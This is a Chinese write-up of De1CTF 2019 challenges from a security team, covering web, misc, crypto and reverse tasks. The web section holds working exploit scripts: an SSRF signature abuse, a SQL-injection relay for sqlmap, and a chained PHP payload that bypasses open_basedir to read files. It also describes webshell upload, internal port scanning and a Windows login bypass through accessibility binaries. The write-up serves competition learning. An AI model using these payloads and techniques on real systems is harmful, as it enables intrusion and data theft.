前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >De1CTF 2019-WriteUp

De1CTF 2019-WriteUp

作者头像
ChaMd5安全团队
发布2019-08-08 16:47:17
2.4K0
发布2019-08-08 16:47:17
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

Web

SSRF Me

解题思路

# coding:utf-8
import requests
import urllib


BASE_URL="http://139.180.128.86"


def getSign(param):
    r = requests.get('%s/geneSign?param=%s' % (BASE_URL, urllib.quote(param)))
    if r.status_code == 200:
        return r.text
    return ""


def Result(sign, param):
    header = {
        'Cookie': 'action=readscan; sign=%s;' % sign,
    }
    r = requests.get('%s/De1ta?param=%s' % (BASE_URL, urllib.quote(param)), headers=header)
    if r.status_code == 200:
        print(r.text)


file="flag.txt"
sign = getSign('%sread' % file)
Result(sign, file)

shellshellshell

解题思路

外层部分和 N1CTF-2018 easy_harder_php 完全一样,参考:

https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/easy_harder_php.pdf

然后访问 index.php?action=index

接着用新的 sessionID 访问, 就可以以 admin 身份登录

PHPSESSID=4stu05dr969ogmprk28drnju93

在 publish 界面下直接就能上传 webshell

上传 shell 上去, 扫描内网 172.18.0.2 的端口,发现 80

用 curl 请求,获得内网页面

172.18.0.2:80

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);


    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if  (!is_array($filename))
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
  }

这个是 上海大学生ctf web3 原题:

https://www.jianshu.com/p/a4c55edd6858

上 exp 找 flag 然后读出来:


Giftbox

login 盲注

const Koa = require('koa');
const http = require('http');
const querystring = require('querystring');
const TOTP = require('totp.js');
/**
 * yarn add totp.js
 */

const app = new Koa();
const totp = new TOTP("GAXG24JTMZXGKZBU", 8);

function fuck(param) {let promise = new Promise(function(resolve, rejecte) {
        data = {
            a: param,
            totp: totp.genOTP(5)
        }
        var content = querystring.stringify(data);
        var options = {
            hostname: '222.85.25.41',
            port: 8090,
            path: '/shell.php?' + content,
            method: 'GET'
        };
        var req = http.request(options, (res) => {
            res.setEncoding('utf8');
            let rawData = '';
            res.on('data', (chunk) => {
                rawData += chunk;
            });
            res.on('end', () => {
                try {
                    const parsedData = JSON.parse(rawData);
                    if (parsedData.message)
                        console.log(parsedData.message);
                    else
                        console.log(parsedData.data);
                    resolve(1)
                } catch (e) {
                    rejecte(e.message)
                }
            });
        });
        req.on('error', function(e) {
            console.log('problem with request: ' + e.message);
            rejecte(e.message)
        });
        req.end();
    })
    return promise;
}

/**
 * Web 中转 For Sqlmap
 */

app.use(async ctx => {
    let query = ctx.query || ctx.request.query;
    var resp = ''
    if (query.cmd) {
        var cmd = query.cmd.replace(/ /g, "/**/");
        resp = await fuck(`login ${cmd} 123456`);
        console.log(resp)
    }
    ctx.body = JSON.stringify(resp);
});

console.log("Listening http://127.0.0.1:3000")
app.listen(3000); 
const TOTP = require('totp.js');
/**
 * yarn add totp.js
 */
const http = require('http');
const async = require('async');
const querystring = require('querystring');

const totp = new TOTP("GAXG24JTMZXGKZBU", 8);

function fuck(param, method = 'GET', postData = {}) {
    let promise = new Promise(function(resolve, rejecte) {
        data = {
            a: param,
            totp: totp.genOTP(5)
        }
        var content = querystring.stringify(data);
        var options = {
            hostname: '222.85.25.41',
            port: 8090,
            path: '/shell.php?' + content,
            method: method,
            headers: {
                "Cookie": ["PHPSESSID=vk666"]
            }
        };
        if (method == 'POST') {
            postData = querystring.stringify(postData);
            options['headers']['Content-Type'] = 'application/x-www-form-urlencoded';
            options['headers']['Content-Length'] = Buffer.byteLength(postData);
        }
        var req = http.request(options, (res) => {
            res.setEncoding('utf8');
            let rawData = '';
            res.on('data', (chunk) => {
                rawData += chunk;
            });
            res.on('end', () => {
                let res = /de1ctf\{.*?\}/g.exec(rawData)
                if (res) {
                    console.log(`[+] Here is flag : ${res[0]}`)
                }
                resolve(1)
            });
        });
        req.on('error', function(e) {
            console.log('problem with request: ' + e.message);
            rejecte(e.message)
        });
        if (method == 'POST')
            req.write(postData);
        req.end();
    })
    return promise;
}

async function cmd(cmd, param = "") {
    await fuck(cmd, 'POST', param);
}

(async () => {
    console.log("[+] Waiting...")
    /* 登录 */
    // await fuck(`login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}`)
    /* 清除 */
    await cmd('destruct')
    // open_basedir
    await cmd('targeting a open_basedir')
    await cmd('targeting b ..')
    await cmd('targeting c ini_set')
    await cmd('targeting d chdir')
    await cmd('targeting e js')
    await cmd('targeting f flag')
    await cmd('targeting g readfile')
    await cmd('targeting i _REQUEST')
    await cmd('targeting j ini_get_all')
    await cmd('targeting k print_r')
    await cmd('targeting o {${$i}{9}}') // $_REQUEST[9]
    await cmd('targeting t1 ${$d($e)}') // chdir("js")
    await cmd('targeting t2 ${$c($a,$b)}') // ini_set("open_basedir","..")
    await cmd('targeting t3 ${$d($b)}') // chdir("..")
    await cmd('targeting t4 ${$d($b)}') // chdir("..")
    await cmd('targeting t5 ${$d($b)}') // chdir("..")
    await cmd('targeting t6 ${$d($b)}') // chdir("..")
    await cmd('targeting t8 ${$c($a,$o)}') // ini_set("open_basedir","/")
    await cmd('targeting w ${$g($f)}') // readfile flag
    await cmd('launch', {
        '9': '/'

Misc

Mine Sweeping

解题思路

dnSpy打开Assembly-CSharp.dll 定位到关键处理函数

把游戏状态改为不会死亡,然后吧所有的雷区全部点开以后得到二维码

扫描得到链接

http://qr02.cn/FeJ7dU

打开链接得到flag


DeepInReal

解题思路

下载下来解压以后得到一个说明呵AES加密工具,以及AES加密的数据

根据提示猜测密码为123456,成功解开

解开以后发现是个VMDK,文件爱你头被修改, 还原以后打开这个VMDK

然后以这个VMDK创建虚拟机并启动,是个win10,有密码,加载一个PE干掉密码

或者用cmd替换放大镜(magnify.exe)/屏幕键盘(osk.exe)/粘滞键(sethc.exe)

然后重启进入系统,进入系统以后发现有个bitlocker加密的盘

根据提示Win+W可以在Sketchpad中看到bitlocker的密码

解开之后可以看到BitLocker盘里的东西

在backup文件夹中发现ethpass.dict和ETH的keystone

尝试用ethpass作为密码字典去爆破keystone的密码

#!/usr/bin/env python3
import eth_keyfile
from multiprocessing import Pool, Queue


keyjson = eth_keyfile.load_keyfile("keystone.json")


def check_pwd(p, i):
    try:
        a = eth_keyfile.decode_keyfile_json(keyjson, p)
        print(f"[*] {p} {a}")
    except ValueError as e:
        print(f"[{i}] {e} {p}")
        pass


with open("passwd.txt") as f:
    passwords = f.readlines()


p = Pool(processes = 24)


for i in range(0, len(passwords)):
    pwd = bytes(passwords[i].strip(), encoding="utf8")
    info = f"{i}/{len(passwords)}"
    r = p.apply_async(check_pwd, args=(pwd,info))


p.close()
p.join() 

最终跑出来密码为nevada

private_key为V3Ra1sSe3ure2333

根据解密的提示得知有个文件使用了VeraCrypt加密了

发现这地方有开机启动项

一路追下去

于是知道开机删除了vera文件,重新解压解密30G。。。。。拿到vera文件并解密

拿到vera文件解密并挂载之后,扫描发现NTFS隐藏流

于是去数据库翻看,发现有一份备份的数据库,以及一份在PHPStudy的数据库。把两个数据库进行比对,在tencent这个库中发现不一样的地方

base64解开以后发现是zip文件,拉出来需要密码,用之前的NTFS流中的作为密码成功解开拿到flag

Misc


Crypt

xorz

解题思路

先将输出与iv异或,然后分析异或值的出现频率,初步确定key长度为30。

利用字符范围及语义可理解性,以4字为单位进行爆破(爆出4字节并确认后,后面可以结合明文推算下一字节)。推算出20字节左右 ,可以根据明文搜索到出处--莎士比亚的十四行诗(稍有个别地方有区别)。

最后结果为de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}。

Reverse

Re_Sign

解题思路

根据提示程序加了UPX壳,但对做题基本没影响。

程序就是简单的变形base64算法。求解如下:

import string
def main():
  t = [0x8, 0x3b, 0x1, 0x20, 0x7, 0x34, 0x9, 0x1f, 0x18, 0x24, 0x13, 0x3, 0x10, 0x38, 0x9, 0x1b, 0x8, 0x34, 0x13, 0x2, 0x8, 0x22, 0x12, 0x3, 0x5, 0x6, 0x12, 0x3, 0xf, 0x22, 0x12, 0x17, 0x8, 0x1, 0x29, 0x22, 0x6, 0x24, 0x32, 0x24, 0xf, 0x1f, 0x2b, 0x24, 0x3, 0x15, 0x41, 0x41]
  t1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
  t2 = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/='
  print len(t)
  out = ''
  for i in t:
    out += t1[i-1]
  map = string.maketrans(t2,t1)
  out = out.translate(map)
  print out.decode('base64')
  print 'end.'

if __name__ == '__main__':
    main()

Cplusplus

解题思路

题目如题名,代码较难看,但是主流程异常清晰:

  1. 检查格式
  2. 校验第一部分
  3. 校验第二部分
  4. 校验第三部分

格式检查规则为:3部分数字类字符,分别以'@'和'#'分隔。

第一部分校验运用了梅森旋转算法,懒得写代码,直接patch,循环跑出dec1为78。

第二部分校验基本属于明文校验,只是以输入为索引查表与常量字符比较。

第三部分校验如下,其中的dec1已不是输入的数,被改写成了伪随机数0x22:

因为题目逻辑问题,后来出来个tip,给了个hash来限制唯一解。

按题目意图,dec3 = 0x22*3+12 = 114

所以输入为:78@20637#114


Evil_boost

解题思路

此题主要用到了boost的命令行参数提取和语法解析器。

程序运行方式

必须有name参数。

程序流程如下:

  1. 提取命令行参数并存储
  2. 检查是否有name参数,没有则退出
  3. 检查是否有help参数,有则打印帮助信息
  4. 进行假flag校验流程
  5. 构造计算表达式语法解析器及解析name参数
  6. 检查name长度及格式
  7. 打印最终信息(最后的校验逻辑等于没有)

语法解析器部分代码比较难看,好在后面的长度及格式检查提供了足够信息:

  • 长度为11
  • 字符集限制在 [0-8][b-y][-*/()]
  • 其中包括5个数字,1个字母,5个符号
  • 第二个字符为字母

按照硬性检查要求输入后,程序的运行情况如下:

其实综合以上信息,已经可以求解了,虽然最后一步的校验逻辑有问题(见图),但是不影响对作者意图的理解。

总的意思是输入一个表达式,求解结果为24,为使题可解并唯一,加了检查条件和hash要求。

求解前先思考下,依据表达式合法性(其实表达式不完全合法并不影响程序运行,结果只取到正常计算的部分,默认表达式完全合法为隐藏条件,毕竟最终的校验条件是hash):

  • 第二个字符要求为字母,那必定为'e‘,
  • 5个数字和5个符号,第一个带e的数占用两个数字,那必定有’()‘(默认数字不组合为隐藏规则,如果处处钻牛角尖,这题就没法解了)
  • 还剩3个字符,还剩3个数字,所以题中数字没有负数,第一和第三字符必定为数字,第四个字节为符号

然后就是跑hash了,结果为5e0*(5-1/5)


Signal vm

解题思路

程序fork了个子进程,进程间通过ptrace进行交互信息,父进程通过不同异常进行对子进程的控制和数据处理。直接跟踪父进程,熟悉子进程的异常代码样式后进行子进程代码解析,如下:

用python表示的计算过程如下,d为父进程使用的数据保存区域:

多元方程,直接z3求解:

v = [BitVec('v%d'%i,8) for i in range(70)]
  r = [0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60, 0x62, 0x2B, 0x88,
        0x86, 0xCA, 0x72, 0x97, 0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26,
        0x83, 0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17, 0x7C, 0xCE,
        0x3A, 0x73, 0xCF, 0xFB, 0xC7, 0x9C, 0x60, 0xAF, 0x9C, 0xC8,
        0x75, 0xCD, 0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA, 0xD8,
        0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46, 0x0B, 0xFF, 0x3C, 0xF1,
        0xF1, 0x45, 0xC4, 0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]
  n = map(ord,'Almost heaven west virginia, blue ridge mountains')
                                                                                                                            
  s = Solver()
  for i in range(10):
    for j in xrange(7):
      num = 0
      for k in xrange(7):
        num += v[(i<<3) - i + k] * n[(k<<3) - k + j]
      s.add(r[(i<<3) - i + j] == num)
                                                                    
  if s.check() == sat:
    flag = ''
    a = s.model()
    for i in v:
#      print a[i]
      flag += chr(int(a[i].as_string()))
    print flag

Signal vm delta

解题思路

程序fork了个子进程,进程间通过ptrace进行交互信息,父进程通过不同异常进行对子进程的控制和数据处理。此题与上一个vm题最大区别在于数据存放在子进程。handler功能调换了,代码如下:

同样用python模拟算法如下:

不难发现,这是一题路径规划题,数据为下三角矩阵左下部分,每一步,位置下移1行,右移1列与否则是我们所要求的,走过的路径中包含flag。程序用枚举的方式求按步进规则的路径所得的最大值,枚举空间是2**101。

不会动态规划,于是只能采用笨办法,分段跑。

开始低位部分用局部最大值跑出一部分,大概20个字符左右,后面不就好弄了,局部最大值路径与全局的不一致了。于是直接8字节一爆破,手动筛选。

最后得到路径状态及对应的输出为(高位在前):


招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
  • Misc
  • Crypt
  • Reverse
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档